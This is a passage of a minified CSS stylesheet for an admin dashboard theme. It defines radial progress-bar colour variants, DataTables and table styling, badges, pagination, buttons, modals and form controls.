.radial-bar-danger.radial-bar-75 { background-image: linear-gradient(360deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-80 { background-image: linear-gradient(378deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-85 { background-image: linear-gradient(396deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-90 { background-image: linear-gradient(414deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-95 { background-image: linear-gradient(432deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-100 { background-image: linear-gradient(450deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Default -- */ .radial-bar-default.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-50 { background-image: linear-gradient(270deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-55 { background-image: linear-gradient(288deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-60 { background-image: linear-gradient(306deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-65 { background-image: linear-gradient(324deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-70 { background-image: linear-gradient(342deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-75 { background-image: linear-gradient(360deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-80 { background-image: linear-gradient(378deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-85 { background-image: linear-gradient(396deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-90 { background-image: linear-gradient(414deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-95 { background-image: linear-gradient(432deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-100 { background-image: linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Pink -- */ .radial-bar-pink.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-50 { background-image: linear-gradient(270deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-55 { background-image: linear-gradient(288deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-60 { background-image: linear-gradient(306deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-65 { background-image: linear-gradient(324deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-70 { background-image: linear-gradient(342deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-75 { background-image: linear-gradient(360deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-80 { background-image: linear-gradient(378deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-85 { background-image: linear-gradient(396deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-90 { background-image: linear-gradient(414deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-95 { background-image: linear-gradient(432deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-100 { background-image: linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Purple -- */ .radial-bar-purple.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-50 { background-image: linear-gradient(270deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-55 { background-image: linear-gradient(288deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-60 { background-image: linear-gradient(306deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-65 { background-image: linear-gradient(324deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-70 { background-image: linear-gradient(342deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-75 { background-image: linear-gradient(360deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-80 { background-image: linear-gradient(378deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-85 { background-image: linear-gradient(396deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-90 { background-image: linear-gradient(414deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-95 { background-image: linear-gradient(432deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-100 { background-image: linear-gradient(450deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Inverse -- */ .radial-bar-inverse.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-50 { background-image: linear-gradient(270deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-55 { background-image: linear-gradient(288deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-60 { background-image: linear-gradient(306deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-65 { background-image: linear-gradient(324deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-70 { background-image: linear-gradient(342deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-75 { background-image: linear-gradient(360deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-80 { background-image: linear-gradient(378deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-85 { background-image: linear-gradient(396deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-90 { background-image: linear-gradient(414deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-95 { background-image: linear-gradient(432deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-inverse.radial-bar-100 { background-image: linear-gradient(450deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-lg { width: 100px; height: 100px; font-size: 20px; } .radial-bar-lg:after, .radial-bar-lg > img { width: 70px; height: 70px; margin-left: 15px; margin-top: 15px; line-height: 70px; } .radial-bar-sm { width: 50px; height: 50px; font-size: 12px; } .radial-bar-sm:after, .radial-bar-sm > img { width: 35px; height: 35px; margin-left: 7.5px; margin-top: 7.5px; line-height: 35px; } .radial-bar-xs { width: 30px; height: 30px; font-size: 8px; } .radial-bar-xs:after, .radial-bar-xs > img { width: 20px; height: 20px; margin-left: 5.5px; margin-top: 4.5px; line-height: 21px; } .radial-bar { background-clip: content-box; } .card .card-body .dataTables_wrapper .dataTables_scroll { margin-left: -20px; width: calc(100% + 40px); } .card .card-body .dataTables_wrapper .dataTables_scroll .dataTable { margin-left: 0px; width: 100%; } .card .card-body .dataTables_wrapper .dataTable { margin-left: -20px; width: calc(100% + 40px); } .card .card-body .dataTables_wrapper .form-control { border: none; min-height: 30px; background-color: #f4f4f4; } .card .card-body .dataTables_wrapper select.form-control { height: 30px !important; } .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item .page-link { margin-left: 5px; min-width: 30px; height: 30px; padding: 0; text-align: center; line-height: 30px; border: none; background-color: #f4f4f4; color: #212121; border-radius: 30px; -webkit-border-radius: 30px; -moz-border-radius: 30px; } .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.previous .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.next .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.first .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.last .page-link { padding: 0 15px; } .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.disabled .page-link { color: #6c757d; background-color: #f4f4f4; cursor: not-allowed; } .card .card-table .card-item { border-top: 1px solid #ededed; } .table thead { background-color: #f6f8fb; } .table thead th { font-weight: 600; color: #879099; font-size: 14px; } .table tbody td { vertical-align: middle; } .table tbody td .table-user-thumb { width: 30px; height: 30px; border-radius: 50%; } .table tbody td .table-actions { text-align: right; } .table tbody td .table-actions a { color: #bcc1c6; display: inline-block; margin-left: 8px; font-size: 16px; } .badge { padding: 6px 10px; font-size: 12px; font-weight: 600; } .badge.badge-top-left { top: 7px; right: 10px; } .badge.badge-top-left-2 { top: 40px; right: 10px; } .badge-primary, .badge-success, .badge-info, .badge-warning, .badge-danger, .badge-inverse, .badge-purple, .badge-pink, .badge-twitter, .badge-facebook, .badge-linkedin, .badge-google, .badge-dribbble, .badge-instagram { color: #ffffff; } .badge-theme { background-color: #ef4153; } .badge-aqua { background-color: #3ec5d6; } .badge-blue { background-color: #19B5FE; } .badge-light-blue { background-color: #89CFF0; } .badge-teal { background-color: #008081; } .badge-yellow { background-color: #F7CA18; } .badge-orange { background-color: #FF8000; } .badge-green { background-color: #26C281; } .badge-lime { background-color: #cad900; } .badge-red { background-color: #F22613; } .badge-fuchsia { background-color: #df2de3; } .badge-navy { background-color: #000080; } .badge-empty { background: transparent; } .badge-primary { background-color: #007bff; } .badge-success { background-color: #2dce89; } .badge-info { background-color: #11cdef; } .badge-warning { background-color: #fb6340; } .badge-danger { background-color: #f5365c; } .badge-muted { background-color: #6c757d; } .badge-inverse { background-color: #4c5667; } .badge-purple { background-color: #BF55EC; } .badge-pink { background-color: #f76397; } .badge-white { background-color: #ffffff; } .btn .badge { padding: 2px 6px; } .pagination .page-item { padding: 5px; } .pagination .page-item .page-link { outline: initial !important; box-shadow: none !important; line-height: 18px; min-width: 30px; text-align: center; height: 30px; padding: 6px 0px; border: none; background-color: #eaeaea; color: #3e5569; border-radius: 30px; -webkit-border-radius: 30px; -moz-border-radius: 30px; } .pagination .page-item .page-link.first, .pagination .page-item .page-link.last { color: #ffffff; background-color: #3e5569; } .pagination .page-item.active .page-link { background-color: #007bff; color: #ffffff; } .btn { padding: 6px 14px; height: 30px; font-size: 13px; font-weight: 600; -moz-transition: 0.3s ease-in-out; -o-transition: 0.3s ease-in-out; -webkit-transition: 0.3s ease-in-out; transition: 0.3s ease-in-out; } .btn i { margin-right: 5px; } .btn-icon { width: 30px; height: 30px; padding: 0; text-align: center; line-height: 32px; font-size: 14px; display: inline-block; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; } .btn-icon i { margin-right: 0 !important; } .social-btn { width: 30px; height: 30px; padding: 0; border-radius: 50%; text-align: center; line-height: 30px; color: #ffffff; } .social-btn i { margin: 0; } .btn-primary, .btn-success, .btn-info, .btn-warning, .btn-danger, .btn-inverse, .btn-purple, .btn-pink, .btn-twitter, .btn-facebook, .btn-linkedin, .btn-google, .btn-dribbble, .btn-instagram { color: #ffffff; } .btn-theme { background: linear-gradient(150deg, #f05138 15%, #ee3a5b 70%, #ed1375 94%); color: #fff; } .btndefault { background-color: #dae6ec; border-color: #dae6ec; } .btndefault:focus, .btndefault:hover, .btndefault:active, .btndefault.active { background-color: #dae6ec; border-color: #C2CED4; color: #ffffff !important; } .btn-primary { background-color: #007bff; border: 1px solid #007bff; } .btn-primary:hover, .btn-primary:focus, .btn-primary.active { background-color: #006fe6; border: 1px solid #006fe6; color: #ffffff !important; } .btn-success { background-color: #2dce89; border: 1px solid #2dce89; } .btn-success:hover, .btn-success:focus, .btn-success.active { background-color: #28b97b; border: 1px solid #28b97b; color: #ffffff !important; } .btn-info { background-color: #11cdef; border: 1px solid #11cdef; } .btn-info:hover, .btn-info:focus, .btn-info.active { background-color: #0fb9d8; border: 1px solid #0fb9d8; color: #ffffff !important; } .btn-warning { background-color: #fb6340; border: 1px solid #fb6340; } .btn-warning:hover, .btn-warning:focus, .btn-warning.active { background-color: #fa4f27; border: 1px solid #fa4f27; color: #ffffff !important; } .btn-danger { background-color: #f5365c; border: 1px solid #f5365c; } .btn-danger:focus, .btn-danger:hover, .btn-danger.active { background-color: #f41e48; border: 1px solid #f41e48; color: #ffffff !important; } .btn-inverse { background-color: #4c5667; border: 1px solid #4c5667; } .btn-inverse:hover, .btn-inverse:focus, .btn-inverse.active { background-color: #414a58; border: 1px solid #414a58; color: #ffffff !important; } .btn-purple { background-color: #BF55EC; border: 1px solid #BF55EC; } .btn-purple:hover, .btn-purple:focus, .btn-purple.active { background-color: #b63ee9; border: 1px solid #b63ee9; color: #ffffff !important; } .btn-pink { background-color: #f76397; border: 1px solid #f76397; } .btn-pink:hover, .btn-pink:focus, .btn-pink.active { background-color: #f64b87; border: 1px solid #f64b87; color: #ffffff !important; } .btn-facebook { background: #3b579d; } .btn-twitter { background: #1da1f2; } .btn-dribbble { background: #ea4c89; } .btn-linkedin { background: #0177b4; } .btn-google { background: #dc4a38; } .btn-instagram { background: #fb3958; } .template-demo .btn { margin-right: 10px; margin-bottom: 10px; } .btn-group .btn { margin: 0; } .full-window-modal .modal-dialog { position: fixed; width: 100%; height: 100%; margin: 0; max-width: 100%; left: 0; top: 0; bottom: 0; display: block; } .full-window-modal .modal-dialog .modal-content { height: 100vh; border: none; border-radius: 0; -webkit-border-radius: 0; -moz-border-radius: 0; } .full-window-modal .modal-dialog .modal-content .modal-body { height: calc(100vh - 50px); overflow-x: auto; } .full-window-modal .modal-dialog .modal-content .modal-footer { background-color: #393a3d; padding: 15px 24px; padding-top: 15px !important; } .modal-open .apps-modal { overflow: hidden; } .modal-open .apps-modal .close { position: absolute; top: 20px; right: 20px; text-shadow: none; z-index: 9; } .modal-open .apps-modal .modal-dialog { width: 100%; max-width: 100%; border-radius: 0; margin: 0; } .modal-open .apps-modal .modal-dialog .modal-content { border: none; border-radius: 0; min-height: 100vh; background-color: #ffffff; } .modal-open .apps-modal .modal-dialog .modal-content .quick-search { position: absolute; width: 100%; top: 17px; padding: 0 50px; z-index: 9; } .modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap { position: relative; } .modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap i { position: absolute; right: 5px; top: 0; width: 30px; height: 35px; border-radius: 50%; line-height: 35px; text-align: center; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-flex-flow: row wrap; -moz-flex-flow: row wrap; -ms-flex-flow: row wrap; flex-flow: row wrap; -webkit-justify-content: center; -moz-justify-content: center; -ms-justify-content: center; justify-content: center; -ms-flex-pack: center; width: 100%; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item { width: 130px; height: 100px; margin: 10px; color: #ccc; text-align: center; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; -webkit-justify-content: center; -moz-justify-content: center; -ms-justify-content: center; justify-content: center; -ms-flex-pack: center; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a { display: inline-block; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a i { font-size: 40px; color: #3e5569; display: inline-block; margin-bottom: 10px; -moz-transition: all 0.3s ease 0s; -o-transition: all 0.3s ease 0s; -webkit-transition: all 0.3s ease 0s; transition: all 0.3s ease 0s; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a span { display: block; font-size: 14px; color: #3e5569; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item:hover i { color: #ef4153; } .modal-open .apps-modal.fade .modal-dialog { overflow: hidden; -moz-transform: translate(0, 0) scale(1.2); -o-transform: translate(0, 0) scale(1.2); -ms-transform: translate(0, 0) scale(1.2); -webkit-transform: translate(0, 0) scale(1.2); transform: translate(0, 0) scale(1.2); } .modal-open .apps-modal.fade.show .modal-dialog { -moz-transform: translate(0, 0) scale(1); -o-transform: translate(0, 0) scale(1); -ms-transform: translate(0, 0) scale(1); -webkit-transform: translate(0, 0) scale(1); transform: translate(0, 0) scale(1); } .form-group { margin-bottom: 1.25em; } .form-group .form-control-lg { font-size: 1.25em; } .form-group .form-control-round { border-radius: 50px; } .form-group .form-control-static:focus { outline: none; } .form-control { height: auto; min-height: 35px; border: 1px solid #eaeaea; padding: 0 10px; background-color: #fff; font-size: 13px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .form-control.placeholder { color: #999999; } .form-control:-moz-placeholder { color: #999999; } .form-control::-moz-placeholder { color: #999999; } .form-control:-ms-input-placeholder { color: #999999; } .form-control::-webkit-input-placeholder { color: #999999; } .form-control:focus { border-color: #e2dfdf; -webkit-box-shadow: none; box-shadow: none; } .form-control.form-control-normal { font-weight: 400; } .form-control.form-control-bold { font-weight: 700; } .form-control.form-control-capitalize { text-transform: capitalize; } .form-control.form-control-uppercase { text-transform: uppercase; } .form-control.form-control-lowercase { text-transform: lowercase; } .form-control.form-control-variant { font-variant: small-caps; } .form-control.form-control-left { text-align: left; } .form-control.form-control-center { text-align: center; } .form-control.form-control-right { text-align: right; } .form-control.form-control-rtl { direction: rtl; } .form-control:disabled { cursor: not-allowed; opacity: 0.5; } select.form-control { -webkit-appearance: none; -moz-appearance: none; appearance: none; padding-right: 20px; background-image: url("../img/down-arrow.svg"); background-position: center right 15px; background-repeat: no-repeat; -webkit-background-size: 10px; background-size: 10px; height: 35px !important; } textarea.form-control { padding: 10px 15px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .custom-radio .custom-control-label { line-height: 24px; } .custom-checkbox .custom-control-label { line-height: 24px; } .custom-checkbox .custom-control-input:checked ~ .custom-control-label::after { background-image: none; content: "\e83f"; line-height: 16px; font-family: 'iconkit'; color: #fff; } .custom-control-label { text-align: center; } .input-group .input-group-prepend .input-group-text { border-top-left-radius: 4px; border-bottom-left-radius: 4px; background-color: #eaeaea; border-color: #eaeaea; padding-left: 15px; height: 35px; font-size: 14px; } .input-group .input-group-prepend .btn { height: 35px; border-top-left-radius: 4px; border-bottom-left-radius: 4px; } .input-group .input-group-append .input-group-text { border-top-right-radius: 4px; border-bottom-right-radius: 4px; background-color: #eaeaea; border-color: #eaeaea; padding-right: 15px; height: 35px; font-size: 14px; } .input-group .input-group-append .btn { height: 35px; border-top-right-radius: 4px; border-bottom-right-radius: 4px; } .form-group .file-upload-default { visibility: hidden; position: absolute; } .form-group .file-upload-info { background: transparent; } 